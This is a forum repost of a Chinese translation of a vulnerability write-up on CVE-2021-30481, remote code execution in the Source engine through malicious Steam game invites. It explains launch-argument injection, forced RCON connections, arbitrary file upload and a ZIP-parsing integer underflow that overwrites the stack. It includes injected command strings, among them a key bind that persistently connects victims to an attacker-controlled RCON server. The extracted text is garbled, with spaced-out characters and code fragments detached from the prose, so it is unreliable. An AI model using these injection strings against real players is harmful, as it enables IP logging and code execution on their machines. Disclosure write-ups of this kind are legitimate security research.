搜索

[28890] 2021-04-28_CVE-2021-30481：通过游戏邀请执行源引擎远程代码

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-04-28_CVE-2021-30481：通过游戏邀请执行源引擎远程代码 C V E - 2 0 2 1 - 3 0 4 8 1 ： 通 过 游 戏 邀 请 执 行 源 引 擎 远 程 代 码 O t s 安 全   2 0 2 1 - 0 4 - 2 8 S t e a m 是 世 界 上 最 受 欢 迎 的 P C 游 戏 启 动 器 。 它 使 数 以 百 万 计 的 人 有 机 会 使 用 内 置 的 朋 友 和 聚 会 系 统 与 朋 友 一 起 玩 自 己 喜 欢 的 视 频 游 戏 ， 因 此 可 以 安 全 地 假 设 大 多 数 用 户 在 某 个 时 间 点 或 另 一 个 时 间 点 接 受 了 邀 请 。 那 里 没 有 真 正 的 危 险 ， 对 吗 ？ 在 此 博 客 文 章 中 ， 我 们 将 研 究 攻 击 者 如 何 结 合 使 用 S t e a m 引 擎 A P I 和 S o u r c e 引 擎 的 各 种 功 能 来 通 过 恶 意 S t e a m 游 戏 邀 请 获 得 远 程 代 码 执 行 （ R C E ） 。 为 什 么 游 戏 邀 请 比 您 想 象 的 做 得 更 多 S t e a m w o r k s   A P I 允 许 游 戏 开 发 人 员 通 过 一 组 不 同 的 界 面 从 其 游 戏 中 访 问 各 种 S t e a m 功 能 。 例 如 ， 该 界 面 实 现 了 诸 如 和 的 功 能 ， 正 如 其 名 称 所 暗 示 的 那 样 ， 您 可 以 通 过 邀 请 他 们 参 加 游 戏 或 仅 向 他 们 发 送 文 本 消 息 来 与 您 的 朋 友 互 动 。 这 怎 么 会 成 为 问 题 ？ 当 看 着 怎 样 做 才 能 使 朋 友 加 入 您 当 前 的 游 戏 / 大 厅 时 ， 事 情 变 得 很 有 趣 。 在 这 里 ， 您 可 以 看 到 功 能 原 型 和 官 方 文 档 中 的 摘 录 ： “ 如 果 目 标 用 户 接 受 邀 请 ， 那 么 在 启 动 游 戏 时 ， p c h C o n n e c t S t r i n g 将 被 添 加 到 命 令 行 中 。 如 果 该 用 户 已 经 在 运 行 游 戏 ， 那 么 他 们 将 收 到 带 有 连 接 字 符 串 的 G a m e R i c h P r e s e n c e J o i n R e q u e s t e d _ t 回 调 。 ” 基 本 上 ， 这 意 味 着 ， 如 果 您 的 朋 友 尚 未 启 动 游 戏 ， 则 可 以 为 游 戏 进 程 指 定 其 他 启 动 参 数 ， 这 些 参 数 将 附 加 在 命 令 行 的 末 尾 。 对 于 在 C S ： G O 上 下 文 中 的 常 规 邀 请 ， 将 添 加 s t a r t 参 数 以 及 您 的 6 4 位 大 厅 I D 。 该 命 令 又 由 您 的 游 戏 机 控 制 台 执 行 ， 最 终 使 您 进 入 指 定 的 大 厅 。 但 是 现 在 问 题 出 在 哪 里 呢 ？ 在 S o u r c e 引 擎 游 戏 的 启 动 参 数 中 指 定 控 制 台 命 令 时 ， 没 有 任 何 限 制 。 您 可 以 任 意 任 意 执 行 您 选 择 的 任 何 游 戏 命 令 。 在 这 里 ， 您 现 在 可 以 自 由 发 挥 自 己 的 创 造 力 ； 您 可 以 在 用 户 界 面 中 配 置 的 所 有 功 能 ， 以 及 除 此 以 外 的 更 多 功 能 ， 通 常 可 以 使 用 控 制 台 命 令 进 行 调 整 。 这 样 就 可 以 搞 一 些 有 趣 的 事 情 ， 例 如 弄 乱 人 们 的 游 戏 语 言 ， 他 们 的 敏 感 度 ， 分 辨 率 以 及 通 常 可 以 想 到 的 所 有 与 设 置 有 关 的 东 西 。 我 认 为 ， 这 已 经 很 成 问 题 了 ， 但 还 不 是 很 恶 意 。 使 用 控 制 台 命 令 建 立 R C O N 连 接 许 多 S o u r c e 引 擎 游 戏 都 附 带 有 被 称 为 S o u r c e   R C O N   P r o t o c o l 的 东 西 。 简 而 言 之 ， 该 协 议 使 服 务 器 所 有 者 能 够 以 与 通 常 在 游 戏 客 户 端 中 进 行 配 置 的 方 式 相 同 的 方 式 ， 在 其 游 戏 服 务 器 的 上 下 文 中 执 行 控 制 台 命 令 。 这 可 以 通 过 在 执 行 任 何 控 制 台 命 令 之 前 添 加 前 缀 来 实 现 。 为 此 ， 这 要 求 您 事 先 使 用 和 命 令 连 接 游 戏 服 务 器 并 对 其 进 行 身 份 验 证 。 您 可 能 已 经 知 道 要 去 哪 里 了 … … 攻 击 者 可 以 在 第 二 个 参 数 设 置 为 的 情 况 下 执 行 该 功 能 。 一 旦 受 害 者 接 受 邀 请 ， 游 戏 将 启 动 并 尝 试 重 新 连 接 到 指 定 的 地 址 没 有 任 何 通 知 没 有 任 何 通 知 。 请 注 意 ， 最 后 需 要 附 加 的 内 容 ， 因 为 客 户 端 只 有 在 尝 试 与 服 务 器 进 行 实 际 通 信 之 前 才 会 启 动 连 接 。 所 有 这 些 已 经 非 常 令 人 担 忧 ， 因 为 这 样 会 固 有 地 将 受 害 者 的 将 受 害 者 的 I P 地 址 泄 漏 地 址 泄 漏 给 攻 击 者 。 滥 用 R C O N 连 接 对 S o u r c e 引 擎 如 何 在 客 户 端 上 实 现 R C O N 的 进 一 步 研 究 揭 示 了 全 部 潜 力 。 在 中 ， 我 们 可 以 看 到 客 户 端 如 何 响 应 来 自 服 务 器 的 不 同 类 型 的 R C O N 数 据 包 。 在 此 工 作 的 范 围 ， 我 们 只 看 看 以 下 三 种 类 型 的 数 据 包 ： I S t e a m F r i e n d s I n v i t e U s e r T o G a m e R e p l y T o F r i e n d M e s s a g e I n v i t e U s e r T o G a m e b o o l   I n v i t e U s e r T o G a m e (   C S t e a m I D   s t e a m I D F r i e n d ,   c o n s t   c h a r   * p c h C o n n e c t S t r i n g   ) ; + c o n n e c t _ l o b b y r c o n r c o n _ a d d r e s s r c o n _ p a s s w o r d I n v i t e U s e r T o G a m e " + r c o n _ a d d r e s s   y o u r i p : y o u r p o r t   + r c o n " + r c o n C R C o n C l i e n t : : P a r s e R e c e i v e d D a t a
， ， 和 。 下 图 1 显 示 了 R C O N 数 据 包 的 总 体 外 观 。 数 据 包 传 递 的 内 容 以 成 员 开 头 ， 并 且 通 常 以 该 字 段 为 空 终 止 。 现 在 ， 从 第 一 种 类 型 开 始 ， 只 要 R C O N 连 接 保 持 打 开 状 态 ， 它 就 允 许 托 管 恶 意 R C O N 服 务 器 的 攻 击 者 将 任 意 字 符 串 打 印 到 连 接 的 受 害 者 的 游 戏 机 中 。 这 与 最 终 的 R C E 无 关 ， 但 是 太 可 笑 了 ， 不 能 将 其 省 略 。 下 面 是 一 个 例 子 ， 对 于 任 何 看 到 它 出 现 在 控 制 台 中 的 人 来 说 ， 肯 定 是 令 人 惊 讶 的 。 让 我 们 继 续 进 行 令 人 兴 奋 的 部 分 。 为 简 化 起 见 ， 我 们 仅 说 明 客 户 端 如 何 处 理 数 据 包 ， 因 为 数 据 包 的 代 码 几 乎 完 全 相 同 。 最 终 ， 客 户 端 将 接 收 到 的 数 据 包 数 据 视 为 Z I P 文 件 ， 并 尝 试 查 找 名 称 在 其 中 的 文 件 。 然 后 ， 将 该 文 件 解 压 缩 到 C S ： G O 根 安 装 文 件 夹 中 。 不 幸 的 是 ， 我 们 无 法 控 制 屏 幕 快 照 保 存 在 磁 盘 上 的 名 称 ， 也 无 法 控 制 文 件 扩 展 名 。 屏 幕 截 图 始 终 保 存 为 ， 其 中 代 表 一 个 以 4 开 头 的 4 位 数 字 后 缀 ， 只 要 已 经 存 在 具 有 该 名 称 的 文 件 ， 它 就 会 增 加 。 S E R V E R D A T A _ R E S P O N S E _ S T R I N G S E R V E R D A T A _ S C R E E N S H O T _ R E S P O N S E S E R V E R D A T A _ C O N S O L E _ L O G _ R E S P O N S E B o d y E m p t y   S t r i n g S E R V E R D A T A _ S C R E E N S H O T _ R E S P O N S E S E R V E R D A T A _ C O N S O L E _ L O G _ R E S P O N S E s c r e e n s h o t . j p g s c r e e n s h o t X X X X . j p g X X X X 0 0 0 0 v o i d   C R C o n C l i e n t : : S a v e R e m o t e S c r e e n s h o t (   c o n s t   v o i d *   p B u f f e r ,   i n t   n B u f L e n   ) { c h a r   p S c r e e n s h o t P a t h [ M A X _ P A T H ] ; d o
请 注 意 ， 攻 击 者 可 以 发 送 此 类 R C O N 数 据 包 ， 而 无 需 而 无 需 客 户 端 事 先 请 求 。 如 果 受 害 者 接 受 了 游 戏 邀 请 ， 攻 击 者 已 经 可 以 上 传 任 意 文 件 上 传 任 意 文 件 。 到 目 前 为 止 ， 还 不 需 要 内 存 损 坏 。 F i n d Z i p I t e m 中 的 整 数 下 溢 导 致 远 程 代 码 执 行 功 能 ， ， ， 和 属 于 一 个 名 为 库 X Z i p   /   X U n z i p 。 R C O N 处 理 程 序 使 用 的 库 的 特 定 版 本 可 以 追 溯 到 2 0 0 3 年 。 虽 然 我 们 发 现 实 现 中 存 在 一 些 缺 陷 ， 但 我 们 仅 关 注 帮 助 我 们 执 行 代 码 的 第 一 个 缺 陷 。 一 旦 调 用 以 检 索 有 关 存 档 内 文 件 的 信 息 ， 就 会 被 调 用 。 在 内 部 ， 存 档 是 根 据 Z I P 文 件 格 式 解 析 的 。 这 包 括 处 理 所 谓 的 。     {         Q _ s n p r i n t f (   p S c r e e n s h o t P a t h ,   s i z e o f (   p S c r e e n s h o t P a t h   ) ,   " % s / s c r e e n s h o t % 0 4 d . j p g " ,   m _ R e m o t e F i l e D i r . G e t ( ) ,   m _ n S c r e e n S h o t I n d e x + +   ) ;         }   w h i l e   (   g _ p F u l l F i l e S y s t e m - > F i l e E x i s t s (   p S c r e e n s h o t P a t h ,   " M O D "   )   ) ; c h a r   p F u l l P a t h [ M A X _ P A T H ] ;     G e t M o d S u b d i r e c t o r y (   p S c r e e n s h o t P a t h ,   p F u l l P a t h ,   s i z e o f ( p F u l l P a t h )   ) ;     H Z I P   h Z i p   =   O p e n Z i p (   ( v o i d * ) p B u f f e r ,   n B u f L e n ,   Z I P _ M E M O R Y   ) ; i n t   n I n d e x ;     Z I P E N T R Y   z i p I n f o ;     F i n d Z i p I t e m (   h Z i p ,   " s c r e e n s h o t . j p g " ,   t r u e ,   & n I n d e x ,   & z i p I n f o   ) ; i f   (   n I n d e x   > =   0   )     {         U n z i p I t e m (   h Z i p ,   n I n d e x ,   p F u l l P a t h ,   0 ,   Z I P _ F I L E N A M E   ) ;     }     C l o s e Z i p (   h Z i p   ) ; } O p e n Z i p F i n d Z i p I t e m U n z i p I t e m C l o s e Z i p C R C o n C l i e n t : : S a v e R e m o t e S c r e e n s h o t F i n d Z i p I t e m s c r e e n s h o t . j p g T U n z i p : : G e t T U n z i p : : G e t c e n t r a l   d i r e c t o r y   f i l e   h e a d e r i n t   u n z l o c a l _ G e t C u r r e n t F i l e I n f o I n t e r n a l   ( u n z F i l e   f i l e ,   u n z _ f i l e _ i n f o   * p f i l e _ i n f o ,       u n z _ f i l e _ i n f o _ i n t e r n a l   * p f i l e _ i n f o _ i n t e r n a l ,   c h a r   * s z F i l e N a m e ,       u L o n g   f i l e N a m e B u f f e r S i z e ,   v o i d   * e x t r a F i e l d ,   u L o n g   e x t r a F i e l d B u f f e r S i z e , c h a r   * s z C o m m e n t ,   u L o n g   c o m m e n t B u f f e r S i z e ) { / /   . . .     s = ( u n z _ s * ) f i l e ; / /   . . .
从 这 个 假 设 可 以 得 出 的 。 在 上 面 的 代 码 中 ， 位 于 中 的 的 相 对 偏 移 量 被 读 入 。 这 允 许 在 压 缩 文 件 中 定 位 压 缩 文 件 的 实 际 位 置 ， 并 且 稍 后 将 发 挥 关 键 作 用 。 在 稍 后 的 某 个 地 方 ， 将 调 用 具 有 该 名 称 的 函 数 。 在 这 里 ， 给 定 以 前 获 取 的 偏 移 量 ， 现 在 可 以 处 理 前 面 提 到 的 内 容 。 相 应 的 代 码 如 下 所 示 ： 首 先 ， 调 用 将 内 部 文 件 指 针 设 置 为 指 向 存 档 中 的 。 （ 在 此 可 以 假 定 存 档 前 面 没 有 其 他 字 节 ） 。 这 非 常 类 似 于 在 C 标 准 库 中 处 理 文 件 的 方 式 。 在 我 们 的 特 定 情 况 下 ， R C O N 处 理 程 序 使 用 该 标 志 打 开 了 Z I P 归 档 文 件 ， 从 而 指 定 了 该 归 档 文 件 实 质 上 只 是 内 存 中 的 一 个 字 节 b l o b 。 因 此 ， 调 用 仅 更 新 文 件 对 象 中 的 成 员 。 / /   . . . i f   ( u n z l o c a l _ g e t L o n g ( s - > f i l e , & f i l e _ i n f o _ i n t e r n a l . o f f s e t _ c u r f i l e )   ! =   U N Z _ O K )         e r r = U N Z _ E R R N O ; / /   . . . } l o c a l   f i l e   h e a d e r c e n t r a l   d i r e c t o r y   f i l e   h e a d e r f i l e _ i n f o _ i n t e r n a l . o f f s e t _ c u r f i l e T U n z i p : : G e t u n z l o c a l _ C h e c k C u r r e n t F i l e C o h e r e n c y H e a d e r l o c a l   f i l e   h e a d e r i n t   u n z l o c a l _ C h e c k C u r r e n t F i l e C o h e r e n c y H e a d e r   ( u n z _ s   * s , u I n t   * p i S i z e V a r ,       u L o n g   * p o f f s e t _ l o c a l _ e x t r a f i e l d ,   u I n t     * p s i z e _ l o c a l _ e x t r a f i e l d ) { / /   . . . i f   ( l u f s e e k ( s - > f i l e , s - > c u r _ f i l e _ i n f o _ i n t e r n a l . o f f s e t _ c u r f i l e   +   s - > b y t e _ b e f o r e _ t h e _ z i p f i l e , S E E K _ S E T ) ! = 0 ) r e t u r n   U N Z _ E R R N O ; i f   ( e r r = = U N Z _ O K ) i f   ( u n z l o c a l _ g e t L o n g ( s - > f i l e , & u M a g i c )   ! =   U N Z _ O K )             e r r = U N Z _ E R R N O ; / /   . . . } l u f s e e k l o c a l   f i l e   h e a d e r s - > b y t e _ b e f o r e _ t h e _ z i p f i l e 0 Z I P _ M E M O R Y l u f s e e k i n t   l u f s e e k ( L U F I L E   * s t r e a m ,   l o n g   o f f s e t ,   i n t   w h e n c e ) { / /   . . . e l s e     {   i f   ( w h e n c e = = S E E K _ S E T )   s t r e a m - > p o s = o f f s e t ;
一 旦 返 回 ， 其 名 称 的 另 一 个 函 数 被 调 用 来 读 出 神 奇 的 字 节 用 于 标 识 。 在 内 部 ， 此 函 数 调 用 四 次 以 读 取 l o n g 值 的 每 个 字 节 。 依 次 调 用 直 接 从 文 件 流 中 读 取 。 i f   ( w h e n c e = = S E E K _ S E T )   s t r e a m - > p o s = o f f s e t ; e l s e   i f   ( w h e n c e = = S E E K _ C U R )   s t r e a m - > p o s + = o f f s e t ; e l s e   i f   ( w h e n c e = = S E E K _ E N D )   s t r e a m - > p o s = s t r e a m - > l e n + o f f s e t ; r e t u r n   0 ;     } } l u f s e e k u n z l o c a l _ g e t L o n g l o c a l   f i l e   h e a d e r u n z l o c a l _ g e t B y t e u n z l o c a l _ g e t B y t e l u f r e a d i n t   u n z l o c a l _ g e t L o n g ( L U F I L E   * f i n , u L o n g   * p X ) {     u L o n g   x   ; i n t   i   =   0 ; i n t   e r r ;     e r r   =   u n z l o c a l _ g e t B y t e ( f i n , & i ) ;     x   =   ( u L o n g ) i ; i f   ( e r r = = U N Z _ O K )         e r r   =   u n z l o c a l _ g e t B y t e ( f i n , & i ) ;     x   + =   ( ( u L o n g ) i ) < < 8 ; / /   r e p e a t e d   t w o   m o r e   t i m e s   f o r   t h e   r e m a i n i n g   b y t e s / /   . . . r e t u r n   e r r ; } i n t   u n z l o c a l _ g e t B y t e ( L U F I L E   * f i n , i n t   * p i ) { u n s i g n e d   c h a r   c ; i n t   e r r   =   ( i n t ) l u f r e a d ( & c ,   1 ,   1 ,   f i n ) ; / /   . . . } s i z e _ t   l u f r e a d ( v o i d   * p t r , s i z e _ t   s i z e , s i z e _ t   n , L U F I L E   * s t r e a m ) { u n s i g n e d   i n t   t o r e a d   =   ( u n s i g n e d   i n t ) ( s i z e * n ) ; / /   . . . i f   ( s t r e a m - > p o s + t o r e a d   >   s t r e a m - > l e n )   t o r e a d   =   s t r e a m - > l e n - s t r e a m - > p o s ; m e m c p y ( p t r ,   ( c h a r * ) s t r e a m - > b u f   +   s t r e a m - > p o s ,   t o r e a d ) ;   D W O R D   r e d   =   t o r e a d ;     s t r e a m - > p o s   + =   r e d ; r e t u r n   r e d / s i z e ;
考 虑 到 可 以 通 过 修 改 结 构 中 的 相 应 字 段 来 任 意 控 制 的 事 实 ， 可 以 在 第 一 次 调 用 权 时 立 即 粉 碎 堆 栈 立 即 粉 碎 堆 栈 。 如 果 将 偏 移 量 设 置 为 一 系 列 操 作 ， 最 终 将 导 致 代 码 执 行 代 码 执 行 。 首 先 ， 对 i n 的 调 用 会 将 文 件 流 的 成 员 设 置 为 。 当 被 称 为 首 次 ， 也 是 调 用 。 然 后 尝 试 从 文 件 流 中 读 取 一 个 字 节 。 用 来 确 定 要 读 取 的 内 存 量 的 里 面 的 变 量 将 等 于 ， 因 此 条 件 （ 无 符 号 比 较 ） 变 为 。 计 算 得 出 的 结 果 ， 因 此 可 能 大 于 存 储 在 中 的 档 案 的 总 长 度 。 接 下 来 ， 使 用 计 算 来 更 新 变 量 } s - > c u r _ f i l e _ i n f o _ i n t e r n a l . o f f s e t _ c u r f i l e c e n t r a l   d i r e c t o r y l u f r e a d l o c a l   f i l e   h e a d e r 0 x F F F F F F F E l u f s e e k u n z l o c a l _ C h e c k C u r r e n t F i l e C o h e r e n c y H e a d e r p o s 0 x F F F F F F F E u n z l o c a l _ g e t L o n g u n z l o c a l _ g e t B y t e l u f r e a d t o r e a d l u f r e a d 1 i f   ( s t r e a m - > p o s   +   t o r e a d   >   s t r e a m - > l e n ) t r u e s t r e a m - > p o s   +   t o r e a d 0 x F F F F F F F E   +   1   =   0 x F F F F F F F F s t r e a m - > l e n t o r e a d s t r e a m - > l e n   -   s t r e a m - > p o s
调 用 与 作 为 一 个 。 。 此 计 算 会 下 溢 下 溢 并 有 效 地 进 行 计 算 。 请 注 意 如 何 呼 叫 源 参 数 的 计 算 同 时 溢 出 。 最 后 ， 可 以 将 对 t o 的 调 用 视 为 等 效 ： 给 定 指 向 一 个 局 部 变 量 的 大 小 大 小 只 是 一 个 字 节 的 字 节 字 节 的 字 节 ， 这 将 立 即 破 坏 堆 栈 。 幸 运 的 是 ， 该 调 用 将 整 个 存 档 b l o b 写 入 堆 栈 ， 这 使 我 们 还 可 以 控 制 所 写 内 容 的 内 容 。 此 时 ， 剩 下 要 做 的 就 是 构 造 一 个 Z I P 归 档 文 件 ， 该 文 件 的 偏 移 量 设 置 为 ， 否 则 它 主 要 由 组 成 。 为 此 ， 我 们 从 包 含 单 个 屏 幕 截 图 文 件 的 合 法 存 档 开 始 。 然 后 ， 如 上 所 述 ， 我 们 破 坏 了 偏 移 量 ， 并 根 据 故 障 值 观 察 了 将 小 工 具 放 在 何 处 。 就 其 本 身 而 言 ， 我 们 利 用 了 以 下 事 实 ： 加 载 到 游 戏 中 的 D L L 之 一 具 有 禁 用 的 。 话 虽 如 此 ， 它 的 基 地 址 可 以 在 某 种 程 度 上 可 靠 地 猜 测 出 来 。 只 有 在 其 首 选 地 址 已 被 另 一 个 D L L 占 用 时 ， 该 利 用 才 会 失 败 。 如 果 不 进 行 适 当 的 统 计 测 量 ， 则 估 计 被 利 用 的 可 能 性 大 约 为 8 0 ％ 。 有 关 此 的 更 多 详 细 信 息 ， 请 随 时 查 看 P o C ， 该 链 接 在 本 文 的 最 后 一 部 分 中 。 进 一 步 提 高 R C E 有 趣 的 是 ， 在 最 后 ， 您 可 以 再 次 看 到 此 漏 洞 利 用 方 法 从 启 动 参 数 注 入 和 R C O N 功 能 中 受 益 。 让 我 们 从 一 个 明 显 的 事 实 开 始 ， 前 面 讨 论 过 的 任 意 文 件 上 传 极 大 地 帮 助 了 这 种 利 用 ， 从 而 发 挥 了 其 全 部 潜 力 。 用 一 个 用 一 个 s h e l l c o d e 来 全 部 来 全 部 或 全 部 统 治 它 们 全 部 统 治 它 们 ： 无 论 是 执 行 计 算 器 还 是 以 前 上 传 的 恶 意 二 进 制 文 件 ， 都 没 有 关 系 。 所 有 需 要 做 的 就 是 在 漏 洞 利 用 程 序 外 壳 代 码 中 更 改 单 个 字 符 串 。 二 进 制 文 件 是 否 已 与 扩 展 名 一 起 存 储 都 没 有 关 系 。 最 后 ， 还 有 一 些 事 情 可 以 做 ， 以 使 漏 洞 利 用 更 加 强 大 。 我 们 不 能 改 变 这 样 的 事 实 ， 即 由 于 基 地 址 的 运 气 不 好 ， 利 用 尝 试 有 时 会 失 败 ， 但 是 如 果 我 们 有 无 限 次 尝 试 执 行 代 码 无 限 次 尝 试 执 行 代 码 怎 么 办 ？ 似 乎 不 合 理 ？ 这 实 际 上 是 非 常 合 理 的 。 S o u r c e 引 擎 带 有 c o n s o l e 命 令 ， 该 命 令 允 许 我 们 将 当 前 游 戏 配 置 写 出 到 磁 盘 上 的 c o n f i g 文 件 中 。 显 然 ， 我 们 也 可 以 使 用 游 戏 邀 请 来 注 入 此 命 令 。 但 是 ， 在 执 行 此 操 作 之 前 ， 我 们 可 以 使 用 它 s t r e a m - > l e n   -   0 x F F F F F F F E s t r e a m - > l e n   +   2 m e m c p y m e m c p y m e m c p y ( p t r ,   ( c h a r * ) s t r e a m - > b u f   -   2 ,   s t r e a m - > l e n   +   2 ) ; p t r u n z l o c a l _ g e t B y t e u n z l o c a l _ g e t B y t e l u f r e a d ( & c ,   1 ,   1 ,   f i n ) c u n s i g n e d   c h a r m e m c p y l o c a l   f i l e   h e a d e r 0 x F F F F F F F E R O P   g a d g e t s E I P R O P   c h a i n x i n p u t 1 _ 3 . d l l A S L R . p n g h o s t _ w r i t e c o n f i g b i n d
来 配 置 玩 家 经 常 按 下 的 任 何 键 ， 从 而 从 一 开 始 就 执 行 R C O N 连 接 命 令 。 如 果 您 使 按 键 保 持 原 始 功 能 ， 则 可 以 得 到 加 分 ， 以 保 持 隐 身 状 态 。 一 旦 配 置 了 这 样 的 密 钥 ， 就 可 以 将 设 置 写 出 到 磁 盘 上 ， 以 使 更 改 变 得 持 久 。 这 是 一 个 示 例 ， 显 示 如 何 在 每 次 按 下 T a b 键 时 即 可 秘 密 配 置 T a b 键 以 启 动 传 出 的 R C O N 连 接 。 现 在 ， 仅 接 受 一 个 邀 请 后 ， 您 就 可 以 在 受 害 者 查 看 计 分 板 时 尝 试 对 受 害 者 进 行 攻 击 。 时 间 轴 和 最 后 的 话 时 间 轴 和 最 后 的 话 [ 2 0 1 9 - 0 6 - 0 5 ] 报 告 给 V a l v e   o n   H a c k e r O n e [ 2 0 1 9 - 0 9 - 1 4 ] 错 误 分 类 [ 2 0 2 0 - 1 0 - 2 3 ] 赏 金 已 支 付 （ $   8 0 0 0 ） ， 并 通 知 了 初 步 修 复 已 在 《 军 团 要 塞 2 》 中 部 署 [ 2 0 2 1 - 0 4 - 1 7 ] 最 终 补 丁 P o C 漏 洞 利 用 代 码 可 以 在 我 的 g i t h u b 上 找 到 。 V a l v e 给 该 漏 洞 的 严 重 等 级 为 9 . 0 （ 严 重 ） 。 最 近 的 更 新 使 得 不 再 可 能 进 行 此 利 用 。 首 先 ， V a l v e 删 除 了 令 人 讨 厌 的 R C O N 命 令 处 理 程 序 ， 从 而 使 得 任 意 文 件 上 传 和 解 压 缩 代 码 中 的 代 码 执 行 都 无 法 进 行 。 另 外 ， 至 少 对 于 C S ： G O ， V a l v e 现 在 似 乎 使 用 G e t L a u n c h C o m m a n d L i n e 而 不 是 O S 命 令 行 。 但 是 ， 在 C S ： S （ 也 许 还 有 其 他 游 戏 ？ ） 中 ， O S 命 令 行 显 然 仍 在 使 用 。 毕 竟 ， 至 少 会 显 示 一 条 警 告 ， 显 示 您 的 游 戏 即 将 开 始 使 用 的 参 数 。 下 图 显 示 了 接 受 重 新 绑 定 密 钥 并 同 时 建 立 R C O N 连 接 的 邀 请 时 的 警 告 显 示 。 请 记 住 ， 如 果 您 单 击 O k 此 处 ， 则 表 示 您 或 多 或 少 同 意 安 装 永 久 性 I P 记 录 器 。 最 后 ， 我 想 谈 谈 另 一 件 事 。 就 个 人 而 言 ， 必 须 就 V a l v e 及 其 漏 洞 赏 金 计 划 的 情 况 说 几 句 话 。 综 上 所 述 ， 关 于 此 错 误 的 存 在 的 公 开 披 露 引 起 了 人 们 对 于 V a l v e 对 错 误 的 缓 慢 响 应 时 间 的 震 惊 。 我 从 不 想 指 责 瓦 尔 （ V a l v e ） 抱 怨 自 己 的 经 历 。 从 长 远 来 看 ， 我 也 想 真 正 改 变 一 些 东 西 。 其 他 研 究 人 员 为 寻 找 错 误 所 做 的 努 力 和 将 要 付 出 的 努 力 不 会 白 费 。 希 望 将 来 情 况 会 有 所 改 善 ， 因 此 我 们 可 以 很 高 兴 与 V a l v e 再 次 合 作 ， 以 增 强 其 游 戏 的 安 全 性 。 本 文 翻 译 自 ： h t t p s : / / s e c r e t . c l u b / 2 0 2 1 / 0 4 / 2 0 / s o u r c e - e n g i n e - r c e - i n v i t e . h t m l 阅 读 原 文 + b i n d   " t a b "   " + s h o w s c o r e s ; r c o n _ a d d r e s s   i p : p o r t ; r c o n "   + h o s t _ w r i t e c o n f i g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理